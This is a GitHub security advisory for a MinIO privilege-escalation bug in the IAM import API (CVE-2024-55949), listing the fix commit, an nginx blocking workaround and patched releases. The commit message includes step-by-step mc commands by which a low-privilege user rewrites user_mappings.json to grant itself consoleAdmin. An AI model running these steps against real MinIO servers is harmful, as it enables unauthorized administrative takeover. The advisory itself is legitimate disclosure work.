GHSA-CWQ8-G58R-32HG

Vulnerability from github – Published: 2024-12-16 17:27 – Updated: 2024-12-20 14:09
VLAI
Summary
MinIO vulnerable to privilege escalation in IAM import API
Details

Impact

Privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f

Patches

commit f246c9053f9603e610d98439799bdd2a6b293427
Author: Aditya Manthramurthy <donatello@users.noreply.github.com>
Date:   Wed Dec 11 18:09:40 2024 -0800

    fix: Privilege escalation in IAM import API (#20756)

    This API had missing permissions checking, allowing a user to change
    their policy mapping by:

    1. Craft iam-info.zip file: Update own user permission in
    user_mappings.json
    2. Upload it via `mc admin cluster iam import nobody iam-info.zip`

    Here `nobody` can be a user with pretty much any kind of permission (but
    not anonymous) and this ends up working.

    Some more detailed steps - start from a fresh setup:

    ```
    ./minio server /tmp/d{1...4} &
    mc alias set myminio http://localhost:9000 minioadmin minioadmin
    mc admin user add myminio nobody nobody123
    mc admin policy attach myminio readwrite nobody nobody123
    mc alias set nobody http://localhost:9000 nobody nobody123

    mc admin cluster iam export myminio
    mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x
    cd /tmp/x
    unzip myminio-iam-info.zip
    echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \
          iam-assets/user_mappings.json
    zip -r myminio-iam-info-updated.zip iam-assets/

    mc admin cluster iam import nobody ./myminio-iam-info-updated.zip
    mc admin service restart nobody
    ```

Workarounds

There are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer.

Behind a load balancer / firewall such as nginx .

location /minio/admin/v2/import-iam {
...
}
location /minio/admin/v3/import-iam-v2 {
...

Following locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.

References

Refer https://github.com/minio/minio/pull/20756 for more information

Binary Releases

AiStor Containers

quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z
quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips

AiStor Binaries

Architecture: linux/amd64
  • https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z
Architecture: linux/arm64
  • https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z
Architecture: windows/amd64
  • https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z

Community Containers

quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z
quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips

Community Binaries

Architecture: linux/amd64
  • https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z
Architecture: linux/arm64
  • https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z
Architecture: windows/amd64
  • https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z

Credits

Credit goes to National Security Agency for reporting this issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/minio/minio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-20220623162515-580d9db85e04"
            },
            {
              "fixed": "0.0.0-20241213221912-68b004a48f41"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-55949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-16T17:27:53Z",
    "nvd_published_at": "2024-12-16T20:15:13Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nPrivilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f\n\n### Patches\n```\ncommit f246c9053f9603e610d98439799bdd2a6b293427\nAuthor: Aditya Manthramurthy \u003cdonatello@users.noreply.github.com\u003e\nDate:   Wed Dec 11 18:09:40 2024 -0800\n\n    fix: Privilege escalation in IAM import API (#20756)\n    \n    This API had missing permissions checking, allowing a user to change\n    their policy mapping by:\n    \n    1. Craft iam-info.zip file: Update own user permission in\n    user_mappings.json\n    2. Upload it via `mc admin cluster iam import nobody iam-info.zip`\n    \n    Here `nobody` can be a user with pretty much any kind of permission (but\n    not anonymous) and this ends up working.\n    \n    Some more detailed steps - start from a fresh setup:\n    \n    ```\n    ./minio server /tmp/d{1...4} \u0026\n    mc alias set myminio http://localhost:9000 minioadmin minioadmin\n    mc admin user add myminio nobody nobody123\n    mc admin policy attach myminio readwrite nobody nobody123\n    mc alias set nobody http://localhost:9000 nobody nobody123\n    \n    mc admin cluster iam export myminio\n    mkdir /tmp/x \u0026\u0026 mv myminio-iam-info.zip /tmp/x\n    cd /tmp/x\n    unzip myminio-iam-info.zip\n    echo \u0027{\"nobody\":{\"version\":1,\"policy\":\"consoleAdmin\",\"updatedAt\":\"2024-08-13T19:47:10.1Z\"}}\u0027 \u003e \\\n          iam-assets/user_mappings.json\n    zip -r myminio-iam-info-updated.zip iam-assets/\n    \n    mc admin cluster iam import nobody ./myminio-iam-info-updated.zip\n    mc admin service restart nobody\n    ```\n```\n\n### Workarounds\nThere are no workarounds possible, all users are advised to upgrade immediately if you don\u0027t run MinIO behind a load balancer.\n\nBehind a load balancer / firewall such as `nginx` . \n\n```\nlocation /minio/admin/v2/import-iam {\n...\n}\n```\n\n```\nlocation /minio/admin/v3/import-iam-v2 {\n...\n```\n\nFollowing locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.\n\n### References\nRefer https://github.com/minio/minio/pull/20756 for more information \n\n### Binary Releases\n#### AiStor Containers\n```\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips\n```\n\n#### AiStor Binaries\n#####  Architecture: `linux/amd64`\n- https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n### Community Containers\n```\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips\n```\n\n### Community Binaries\n#####  Architecture: `linux/amd64`\n- https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n### Credits\nCredit goes to [National Security Agency](https://www.nsa.gov/) for reporting this issue.\n",
  "id": "GHSA-cwq8-g58r-32hg",
  "modified": "2024-12-20T14:09:31Z",
  "published": "2024-12-16T17:27:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/minio/minio/security/advisories/GHSA-cwq8-g58r-32hg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55949"
    },
    {
      "type": "WEB",
      "url": "https://github.com/minio/minio/pull/20756"
    },
    {
      "type": "WEB",
      "url": "https://github.com/minio/minio/commit/580d9db85e04f1b63cc2909af50f0ed08afa965f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/minio/minio/commit/f246c9053f9603e610d98439799bdd2a6b293427"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/minio/minio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MinIO vulnerable to privilege escalation in IAM import API"
}


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